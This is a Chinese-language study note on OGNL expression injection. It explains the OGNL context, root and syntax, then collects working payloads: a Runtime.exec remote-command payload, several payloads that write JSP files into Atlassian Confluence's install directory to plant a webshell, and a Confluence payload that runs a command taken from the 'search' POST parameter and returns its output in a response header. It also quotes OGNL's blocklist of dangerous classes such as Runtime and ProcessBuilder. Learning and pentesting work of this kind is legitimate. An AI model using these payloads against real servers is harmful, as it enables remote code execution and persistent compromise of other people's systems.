ognl 注入

目录

介绍

表达式的一种

原理

DEMO

ognl三要素:expression表达式/root 根对象/context 上下文

怎样触发一个expression?

ObjectA A = new ObjectA(); //一个任意对象A

OgnlContext context = new OgnlContext(); //创建context
context.setName(A) //初始化context的根对象,也就是我们要操作的对象

String expression = "A.a" // 表达式就是字符串的样子,这里的意思是调用对象A的a方法
Object ognl = Ognl.parseExpression(expression) //解析表达式

Object value = Ognl.getValue(ognl,context,context.getRoot()); //调用表达式并获取返回值

ognl语法

.  获取对象的属性或调用对象的方法。  A.a

@  获取静态类/静态属性或调用静态方法 @java.lang.Runtime@getRuntime().exec()

##  1.调用非root对象 
// 放入Context中,但不是root
context.put("user", user)
// 创建Expression,非root,所以要加上#
String expression = "#user.name";
Object ognl = Ognl.parseExpression(expression);
// 调用
Object value = Ognl.getValue(ognl,context,context.getRoot());
   2.创建map   #{"name": "chenlvtang", "level": "noob"}
   3.定义变量   #a=new java.lang.String[]{"calc"}

%  在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值 %{1+1}

rce的ognl payload:

(#a=new java.lang.String("calc")).(@java.lang.Runtime@getRuntime().exec(#a))

写文件

${(#bb0=new java.io.FileWriter('/opt/atlassian/confluence/confluence/conf9.jsp',true)).(#bb0.write(new String(@java.util.Base64@getDecoder().decode('MTIz')))).(#bb0.close())}

${(#bb0=new java.io.FileWriter('/opt/atlassian/confluence/confluence/conf3.jsp',true)).(#bb0.write('123')).(#bb0.close())}

但是这个payload用到了Runtime类,OGNL在>=3.1.25、>=3.2.12的版本中增加了黑名单,ban了很多危险类,包括Runtime。

AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) ||
ClassResolver.class.isAssignableFrom(methodDeclaringClass) ||
MethodAccessor.class.isAssignableFrom(methodDeclaringClass) ||
MemberAccess.class.isAssignableFrom(methodDeclaringClass) ||
OgnlContext.class.isAssignableFrom(methodDeclaringClass) ||
Runtime.class.isAssignableFrom(methodDeclaringClass) ||
ClassLoader.class.isAssignableFrom(methodDeclaringClass) ||
ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) ||
AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)

payload整理

confluence 的思路

${(#bb0=new java.io.FileWriter('/opt/atlassian/confluence/confluence/conf9.jsp',false)).(#bb0.write(@java.util.Base64@getDecoder().decode(''))).(#bb0.close())} 
base64写文件

${(#bb0=new java.io.FileWriter('/opt/atlassian/confluence/confluence/conf9.jsp',false)).(#bb0.write(new java.lang.String(@java.util.Base64@getDecoder().decode('')))).(#bb0.close())} 
|base64写文件,包了一层,如果上面指令不能用,试试这个

${(#bb0=new java.io.FileWriter('/opt/atlassian/confluence/confluence/conf3.jsp',true)).(#bb0.write('')).(#bb0.close())} 
明文写文件

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(@com.opensymphony.webwork.ServletActionContext@getRequest().getParameter("search")).getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
post search参数指定命令


${(#bb0=new java.io.FileWriter('/opt/atlassian/confluence/confluence/conf9.jsp',true)).(#bb0.write(new String(@java.util.Base64@getDecoder().decode('MTIz')))).(#bb0.close())}
post search参数指定 写入内容

关键字

Ognl.getValue